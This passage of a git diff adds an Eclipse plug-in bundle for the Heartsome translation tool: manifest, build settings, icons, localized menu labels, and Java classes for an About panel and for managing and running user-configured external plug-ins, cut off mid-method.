org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.locale, + net.heartsome.cat.common.ui.languagesetting, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.util, + net.heartsome.dialogs, + net.heartsome.util, + net.heartsome.xml, + org.eclipse.jface.text, + org.slf4j +Export-Package: net.heartsome.cat.ts.ui.plugin, + net.heartsome.cat.ts.ui.plugin.bean +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.plugin/build.properties b/ts/net.heartsome.cat.ts.ui.plugin/build.properties new file mode 100644 index 0000000..caf4740 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/build.properties @@ -0,0 +1,9 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + icons/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TBXConverter.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TBXConverter.png new file mode 100644 index 0000000..be80f41 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TBXConverter.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TBXMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TBXMenu.png new file mode 100644 index 0000000..4aba71a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TBXMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TMXConverter.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TMXConverter.png new file mode 100644 index 0000000..e849f49 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TMXConverter.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TMXMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TMXMenu.png new file mode 100644 index 0000000..be3172e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/CSV2TMXMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/JPropViewer.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/JPropViewer.png new file mode 100644 index 0000000..ad94f23 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/JPropViewer.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/JPropViewerMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/JPropViewerMenu.png new file mode 100644 index 0000000..3056be1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/JPropViewerMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/MARTIF2TBXConverter.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/MARTIF2TBXConverter.png new file mode 100644 index 0000000..5d42ece Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/MARTIF2TBXConverter.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/MARTIF2TBXMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/MARTIF2TBXMenu.png new file mode 100644 index 0000000..eb395b8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/MARTIF2TBXMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/RTFCleaner.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/RTFCleaner.png new file mode 100644 index 0000000..f405d95 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/RTFCleaner.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/RTFCleanerMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/RTFCleanerMenu.png new file mode 100644 index 0000000..9989c6a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/RTFCleanerMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/TMX2TXTConverter.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMX2TXTConverter.png new file mode 100644 index 0000000..f69cb14 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMX2TXTConverter.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/TMX2TXTConverterMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMX2TXTConverterMenu.png new file mode 100644 index 0000000..491c1c9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMX2TXTConverterMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/TMXValidator.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMXValidator.png new file mode 100644 index 0000000..8c084ba Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMXValidator.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/TMXValidatorMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMXValidatorMenu.png new file mode 100644 index 0000000..963adbd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/TMXValidatorMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/XSLConverter.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/XSLConverter.png new file mode 100644 index 0000000..ab84235 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/XSLConverter.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/XSLMenu.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/XSLMenu.png new file mode 100644 index 0000000..d802d06 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/XSLMenu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/chars.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/chars.png new file mode 100644 index 0000000..443e7c2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/chars.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help.png new file mode 100644 index 0000000..5b8a6bc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Icons/hshelp.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Icons/hshelp.png new file mode 100644 index 0000000..56da8dc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Icons/hshelp.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/back.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/back.png new file mode 100644 index 0000000..1d483ec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/back.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/bookclosed.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/bookclosed.png new file mode 100644 index 0000000..6697ef0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/bookclosed.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/bookopen.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/bookopen.png new file mode 100644 index 0000000..2ccffe4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/bookopen.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/find.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/find.png new file mode 100644 index 0000000..aa1b58c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/find.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/forward.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/forward.png new file mode 100644 index 0000000..6c18867 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/forward.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/open.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/open.png new file mode 100644 index 0000000..49cab01 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/open.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/tocclosed.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/tocclosed.png new file mode 100644 index 0000000..0ae9e26 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/tocclosed.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/tocopen.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/tocopen.png new file mode 100644 index 0000000..5c1d870 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/tocopen.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/topic.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/topic.png new file mode 100644 index 0000000..b98456d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Normal/topic.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Splash/about.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Splash/about.png new file mode 100644 index 0000000..cd1a447 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/help/Splash/about.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/open.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/open.png new file mode 100644 index 0000000..7af7bda Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/open.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/plugin.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/plugin.png new file mode 100644 index 0000000..350c295 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/plugin.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/remove.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/remove.png new file mode 100644 index 0000000..5b2ad77 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/remove.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/save.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/save.png new file mode 100644 index 0000000..d95d992 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/save.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/icons/sellang.png b/ts/net.heartsome.cat.ts.ui.plugin/icons/sellang.png new file mode 100644 index 0000000..0017783 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.plugin/icons/sellang.png differ diff --git a/ts/net.heartsome.cat.ts.ui.plugin/plugin.properties b/ts/net.heartsome.cat.ts.ui.plugin/plugin.properties new file mode 100644 index 0000000..f345cbe --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/plugin.properties @@ -0,0 +1,18 @@ +menu.tool.pluginConfigure = \u63d2\u4ef6\u914d\u7f6e... +menu.tool.XSL = XSL Transformation +menu.tool.TBX = TBX Maker +menu.tool.CSV = CSV to TMX Converter +menu.tool.Martif = Martif to TBX Converter +menu.tool.Prop = Java Properties Viewer +menu.tool.RTF = RTF Cleaner +menu.tool.TXT = TMX to TXT Converter +menu.tool.TMX = TMX Validator +command.pluginConfigure = \u63d2\u4ef6\u914d\u7f6e +command.XSL = XSL Transformation +command.TBX = TBX Maker +command.CSV = CSV to TMX Converter +command.Martif = Martif to TBX Converter +command.Prop = Java Properties Viewer +command.RTF = RTF Cleaner +command.TXT = TMX to TXT Converter +command.TMX = TMX Validator \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.plugin/plugin.xml b/ts/net.heartsome.cat.ts.ui.plugin/plugin.xml new file mode 100644 index 0000000..b75c343 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/plugin.xml @@ -0,0 +1,258 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.plugin/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.plugin/plugin_en.properties new file mode 100644 index 0000000..b9588fb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/plugin_en.properties @@ -0,0 +1,18 @@ +menu.tool.pluginConfigure = Configure Plug-ins... +menu.tool.XSL = XSL Transformation +menu.tool.TBX = TBX Maker +menu.tool.CSV = CSV to TMX Converter +menu.tool.Martif = MARTIF to TBX Converter +menu.tool.Prop = Java Properties Viewer +menu.tool.RTF = RTF Cleaner +menu.tool.TXT = TMX to TXT Converter +menu.tool.TMX = TMX Validator +command.pluginConfigure = Configure Plug-ins +command.XSL = XSL Transformation +command.TBX = TBX Maker +command.CSV = CSV to TMX Converter +command.Martif = MARTIF to TBX Converter +command.Prop = Java Properties Viewer +command.RTF = RTF Cleaner +command.TXT = TMX to TXT Converter +command.TMX = TMX Validator diff --git a/ts/net.heartsome.cat.ts.ui.plugin/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.plugin/plugin_zh.properties new file mode 100644 index 0000000..f345cbe --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/plugin_zh.properties @@ -0,0 +1,18 @@ +menu.tool.pluginConfigure = \u63d2\u4ef6\u914d\u7f6e... +menu.tool.XSL = XSL Transformation +menu.tool.TBX = TBX Maker +menu.tool.CSV = CSV to TMX Converter +menu.tool.Martif = Martif to TBX Converter +menu.tool.Prop = Java Properties Viewer +menu.tool.RTF = RTF Cleaner +menu.tool.TXT = TMX to TXT Converter +menu.tool.TMX = TMX Validator +command.pluginConfigure = \u63d2\u4ef6\u914d\u7f6e +command.XSL = XSL Transformation +command.TBX = TBX Maker +command.CSV = CSV to TMX Converter +command.Martif = Martif to TBX Converter +command.Prop = Java Properties Viewer +command.RTF = RTF Cleaner +command.TXT = TMX to TXT Converter +command.TMX = TMX Validator \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/AboutComposite.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/AboutComposite.java new file mode 100644 index 0000000..e94a2b6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/AboutComposite.java @@ -0,0 +1,119 @@ +package net.heartsome.cat.ts.ui.plugin; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; + +/** + * 关于é¢æ¿ï¼ˆç¬¬ä¸€è¡Œä¸ºæ ‡é¢˜ï¼Œç¬¬äºŒè¡Œä¸º Logo,第三行为版本信æ¯ï¼Œç¬¬å››è¡Œä¸ºç‰ˆæƒä¿¡æ¯ï¼Œç¬¬äº”行为网å€ä¿¡æ¯) + * @author peason + * @version + * @since JDK1.6 + */ +public final class AboutComposite { + + /** 父é¢æ¿ */ + private Composite parent; + + /** 第一行标题 */ + private String name; + + /** Logo 图片路径 */ + private String imagePath; + + /** ç‰ˆæœ¬ä¿¡æ¯ */ + private String version; + + private Cursor cursorHand = new Cursor(Display.getDefault(), SWT.CURSOR_HAND); + /** + * 构造方法 + * @param parent + * 父é¢æ¿ + * @param style + * æ ·å¼ + * @param name + * 第一行标题 + * @param imagePath + * Logo 图片路径 + * @param version + * ç‰ˆæœ¬ä¿¡æ¯ + */ + public AboutComposite(Composite parent, int style, String name, String imagePath, String version) { + this.parent = parent; + this.name = name; + this.imagePath = imagePath; + this.version = version; + init(); + parent.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + if(cursorHand != null && !cursorHand.isDisposed()){ + cursorHand.dispose(); + } + } + }); + } + + /** + * åˆå§‹åŒ–ç•Œé¢ + * ; + */ + private void init() { + Color white = Display.getDefault().getSystemColor(SWT.COLOR_WHITE); + parent.setBackground(white); + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + Label lblName = new Label(parent, SWT.CENTER); + lblName.setText(name); + lblName.setLayoutData(data); + lblName.setBackground(white); + + Image image = new Image(Display.getDefault(), imagePath); + Label lblImage = new Label(parent, SWT.CENTER); + lblImage.setImage(image); + lblImage.setLayoutData(new GridData(GridData.FILL_BOTH)); + lblImage.setBackground(white); + + Label lblVersion = new Label(parent, SWT.CENTER); + lblVersion.setText(version); + lblVersion.setLayoutData(data); + lblVersion.setBackground(white); + + new Label(parent, SWT.None).setForeground(white); + + Label lblCopyRight = new Label(parent, SWT.CENTER); + lblCopyRight.setText(PluginConstants.PLUGIN_COPY_RIGHT); + lblCopyRight.setLayoutData(data); + lblCopyRight.setBackground(white); + + Label lblWebSite = new Label(parent, SWT.CENTER); + lblWebSite.setText(PluginConstants.PLUGIN_WEB_SITE); + lblWebSite.setLayoutData(data); + lblWebSite.setBackground(white); + lblWebSite.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + lblWebSite.setCursor(cursorHand); + lblWebSite.addMouseListener(new MouseListener() { + + public void mouseUp(MouseEvent e) { + + } + + public void mouseDown(MouseEvent e) { + Program.launch(PluginConstants.PLUGIN_WEB_SITE); + } + + public void mouseDoubleClick(MouseEvent e) { + + } + }); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/Activator.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/Activator.java new file mode 100644 index 0000000..fb0c905 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.ui.plugin; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.plugin"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/ColProperties.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/ColProperties.java new file mode 100644 index 0000000..b2b8472 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/ColProperties.java @@ -0,0 +1,60 @@ +package net.heartsome.cat.ts.ui.plugin; + +/** + * TBXMaker æ’件中列属性的 Bean ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public class ColProperties { + String colName; + public String level; + String language; + String propName; + public String propType; + + public static String noteName = "note"; //$NON-NLS-1$ + public static String descripName = "descrip"; //$NON-NLS-1$ + public static String termNoteName = "termNote"; //$NON-NLS-1$ + public static String termName = "term"; //$NON-NLS-1$ + + public static String conceptLevel = "Concept"; //$NON-NLS-1$ + public static String langLevel = "Term"; //$NON-NLS-1$ + + public ColProperties(String pColName){ + colName = pColName; + level = conceptLevel; + propName = descripName; + propType = ""; //$NON-NLS-1$ + language = ""; //$NON-NLS-1$ + } + + public void setColumnType(String plevel, String pLang, String pName, String pType){ + level = plevel; + language = pLang; + propName = pName; + propType = pType; + colName = pName + " ("+pLang+")"; //$NON-NLS-1$ //$NON-NLS-2$ + } + + public String getLanguage() { + return language; + } + + public String getLevel() { + return level; + } + + public String getPropName() { + return propName; + } + + public String getPropType() { + return propType; + } + + public String getColName() { + return colName; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/PluginConfigManage.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/PluginConfigManage.java new file mode 100644 index 0000000..4581d9f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/PluginConfigManage.java @@ -0,0 +1,450 @@ +package net.heartsome.cat.ts.ui.plugin; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ide.ResourceUtil; +import org.eclipse.ui.internal.WorkbenchWindow; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * æ’件é…置管ç†çš„公用类 + * @author robert 2012-03-07 + * @version + * @since JDK1.6 + */ +public class PluginConfigManage { + + private static final Logger LOGGER = LoggerFactory.getLogger(PluginConfigManage.class); + /** æ’件é…置文件的路径 */ + private String pluginXmlLocation; + /** èœå•æ çˆ¶èœå•çš„管ç†ç±» */ + private MenuManager parentManager; + private Shell shell; + + @SuppressWarnings("restriction") + public PluginConfigManage() { + pluginXmlLocation = ResourcesPlugin.getWorkspace().getRoot().getLocation() + .append(PluginConstants.PC_pluginConfigLocation).toOSString(); + WorkbenchWindow window = (WorkbenchWindow) PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + parentManager = window.getMenuBarManager(); + shell = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell(); + } + + @SuppressWarnings("restriction") + public PluginConfigManage(String pluginXmlLocation) { + this.pluginXmlLocation = pluginXmlLocation; + WorkbenchWindow window = (WorkbenchWindow) PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + parentManager = window.getMenuBarManager(); + } + + /** + * æ ¹æ®æ’件é…置的数æ®ï¼ŒèŽ·å–构造XPath的方法 + * @param bean + * @return ; + */ + public String buildXpath(PluginConfigBean bean) { + String name = bean.getName(); + String command = bean.getCommandLine(); + String input = bean.getInput(); + String output = bean.getOutput(); + String outputPath = bean.getOutputPath(); + String shortcutKey = bean.getShortcutKey(); + + String xpath = "/shortcuts/plugin[@command='" + command + "' and @input='" + input + "' and @output='" + output + + "' and @outputpath='" + outputPath + "' and @shortcut-key='" + shortcutKey + "' and text()='" + name + + "']"; + return xpath; + } + + /** + * æ ¹æ®ä¸€ä¸ªpluginConfigBean的实例,组åˆæˆæ·»åŠ åˆ°XMLä¸­çš„æ•°æ® + * @param bean + * @return ; + */ + public String buildPluginData(PluginConfigBean bean) { + StringBuffer pluginData = new StringBuffer(); + pluginData + .append(MessageFormat + .format("{6}", + new Object[] { bean.getId(), bean.getCommandLine(), bean.getInput(), bean.getOutput(), + bean.getOutputPath(), bean.getShortcutKey(), bean.getName() })); + + return pluginData.toString(); + } + + /** + * 从æ’件é…置文件中获å–æ’件é…ç½®çš„ç›¸å…³ä¿¡æ¯ + * @return ; + */ + public List getPluginCofigData() { + System.out.println(pluginXmlLocation); + List dataList = new LinkedList(); + + File pluginXMl = new File(pluginXmlLocation); + if (!pluginXMl.exists()) { + return dataList; + } + + VTDGen vg = new VTDGen(); + vg.parseFile(pluginXmlLocation, true); + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + + try { + ap.selectXPath("/shortcuts/plugin"); + PluginConfigBean bean; + while (ap.evalXPath() != -1) { + String id = ""; + String name = ""; + String commandLine = ""; + String output = ""; + String input = ""; + String shortcutKey = ""; + String outputPath = ""; + + int index = -1; + if ((index = vn.getAttrVal("id")) != -1) { + id = vn.toString(index); + } + + if ((index = vn.getText()) != -1) { + name = vn.toString(index); + } + if ((index = vn.getAttrVal("command")) != -1) { + commandLine = vn.toString(index); + } + if ((index = vn.getAttrVal("output")) != -1) { + output = vn.toString(index); + } + if ((index = vn.getAttrVal("input")) != -1) { + input = vn.toString(index); + } + if ((index = vn.getAttrVal("shortcut-key")) != -1) { + shortcutKey = vn.toString(index); + } + if ((index = vn.getAttrVal("outputpath")) != -1) { + outputPath = vn.toString(index); + } + bean = new PluginConfigBean(id, name, commandLine, input, output, outputPath, shortcutKey); + dataList.add(bean); + } + + } catch (Exception e) { + LOGGER.error("", e); + } + return dataList; + } + + public void addPluginMenu(final PluginConfigBean bean) { + for (int i = 0; i < parentManager.getItems().length; i++) { + if ("net.heartsome.cat.ts.ui.menu.plugin".equals(parentManager.getItems()[i].getId())) { + MenuManager pluginMenu = (MenuManager) parentManager.getItems()[i]; + // 开始添加新的èœå• + Action action = new Action() { + @Override + public void run() { + executePlugin(bean); + } + }; + action.setText(bean.getName()); + action.setId(bean.getId()); + if (!"".equals(bean.getShortcutKey())) { + action.setText(bean.getName() + "\t" + bean.getShortcutKey()); + } + + pluginMenu.add(action); + pluginMenu.update(); + } + } + } + + /** + * 删除é…ç½®æ’件的èœå• + * @param idList + * ; + */ + public void deletePluginMenu(String deleteId) { + for (int i = 0; i < parentManager.getItems().length; i++) { + if ("net.heartsome.cat.ts.ui.menu.plugin".equals(parentManager.getItems()[i].getId())) { + MenuManager pluginMenu = (MenuManager) parentManager.getItems()[i]; + // 开始删除已ç»æ·»åŠ çš„èœå• + for (int j = 0; j < pluginMenu.getItems().length; j++) { + String actionId = pluginMenu.getItems()[j].getId(); + if (deleteId.equals(actionId)) { + pluginMenu.remove(actionId); + } + } + pluginMenu.update(); + } + } + } + + public void updataPluginMenu(PluginConfigBean bean) { + String id = bean.getId(); + for (int i = 0; i < parentManager.getItems().length; i++) { + if ("net.heartsome.cat.ts.ui.menu.plugin".equals(parentManager.getItems()[i].getId())) { + MenuManager pluginMenu = (MenuManager) parentManager.getItems()[i]; + // 开始删除已ç»æ·»åŠ çš„èœå• + for (int j = 0; j < pluginMenu.getItems().length; j++) { + String actionId = pluginMenu.getItems()[j].getId(); + if (id.equals(actionId)) { + pluginMenu.remove(id); + pluginMenu.update(); + addPluginMenu(bean); + } + } + } + } + } + + /** + * è¿è¡Œè‡ªå®šä¹‰çš„æ’件 + * @param bean + * ; + */ + @SuppressWarnings("unchecked") + public void executePlugin(PluginConfigBean bean) { + String commandLine = bean.getCommandLine(); + if (commandLine == null || "".equals(commandLine)) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg1")); + return; + } + + try { + // 当输出(进程)为当å‰æ–‡æ¡£æ—¶ + if (bean.getOutput().equals(PluginConstants.SEGMENT)) { + // 先检查是å¦æœ‰å·²ç»æ‰“开的文件,若没有,退出æ’件执行 + XLIFFEditorImplWithNatTable nattable = XLIFFEditorImplWithNatTable.getCurrent(); + if (nattable == null) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg2")); + return; + } + + XLFHandler handler = nattable.getXLFHandler(); + List selectRowIds = nattable.getSelectedRowIds(); + if (selectRowIds.size() <= 0) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg3")); + return; + } + if (selectRowIds.size() > 1) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg4")); + } + + String rowId = selectRowIds.get(0); + sendSegment(bean, handler, rowId); + // 执行åŽè¿”回的文件 + String returnContent = runPlugin(bean); + // 